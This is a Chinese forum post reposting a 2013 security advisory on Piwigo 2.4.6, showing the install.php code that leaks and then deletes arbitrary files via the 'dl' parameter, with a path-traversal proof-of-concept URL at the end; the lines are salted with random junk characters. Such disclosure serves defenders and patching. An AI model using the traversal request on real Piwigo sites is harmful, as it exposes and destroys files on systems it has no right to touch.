找回密码
 立即注册
查看: 2529|回复: 0
打印 上一主题 下一主题

Piwigo任意文件泄露和任意文件删除漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-14 20:15:53 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
Piwigo是用PHP编写的相册脚本。8 X4 Z( a( O9 V' s
, b$ _+ J  s9 g, z
Piwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值,在实现上存在安全漏洞,攻击者可利用这些漏洞查看受影响计算机上的任意文件,删除受影响应用上下文内的任意文件。
6 X0 ?* G! B0 p====================================================================( U- G8 ], v) Y% A
/install.php:- n/ E3 |. Z! G9 `# G
-------------2 }( a" _: Y2 [, v
113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'])): I* m/ |, g/ L5 W8 k. Z4 Q8 ?$ d8 }
114: {2 s% ]" B; U% r! _  i) N
115:   $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];
# O5 Y& g) z4 h$ ]! o116:   header('Cache-Control: no-cache, must-revalidate');3 R( p# s! z1 n- n) O  e- L4 F6 d
117:   header('Pragma: no-cache');8 \$ ]1 ^9 h  Q1 X
118:   header('Content-Disposition: attachment; filename="database.inc.php"');
5 ]9 D" V2 ~+ r& s0 G119:   header('Content-Transfer-Encoding: binary');
0 N9 p/ p9 d' Z: P! C120:   header('Content-Length: '.filesize($filename));  e6 E+ W! w% `7 P; n+ w# k$ ^, y
121:   echo file_get_contents($filename);
% m4 A, D3 }* C) [) v122:   unlink($filename);
8 D$ C" p9 @, k, f, m4 F. I123:   exit();) U1 \* t4 i& C( t4 s
124: }- q2 t  v2 e% G2 ~1 ^0 F
====================================================================
; y  H+ ~3 m+ K* z
/ j& A4 p: N' ^" U8 Z) D( b8 a$ i. c& k! BTested on: Microsoft Windows 7 Ultimate SP1 (EN). D" A8 F" f% P5 o( @
           Apache 2.4.2 (Win32)
1 Z. O" k) N2 @+ Y: ~& X           PHP 5.4.4
: I+ s; p" x* G9 k9 x3 t8 [           MySQL 5.5.25a
" J9 g4 v; F4 O  O0 Q, d
9 N5 z3 A2 u: e' y; Z+ @1 ?Vulnerability discovered by Gjoko 'LiquidWorm' Krstic% m. r6 l+ [8 m; Z3 v
                            @zeroscience
3 p% Q: `: i) Y0 e, h . S7 U2 Y1 P. ~
Advisory ID: ZSL-2013-5127, C, H, c5 w( Z) N( b9 {. ]
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php3 R3 @' k/ O% h- b! Q
Vendor Patch: http://piwigo.org/bugs/view.php?id=28437 Q1 b5 T/ O- q8 `

, }) z% @0 Q5 j15.02.2013& U# r$ F  I% d5 P' v$ p# g9 M6 [- Q. H
6 D+ I" u9 p* V- `1 E
--! Q9 [* {: @+ y3 T0 l- s9 U
http://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt
) I. U5 l( L0 j- F 5 q" @4 h/ F2 q, I. k4 h: k6 g% Z
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表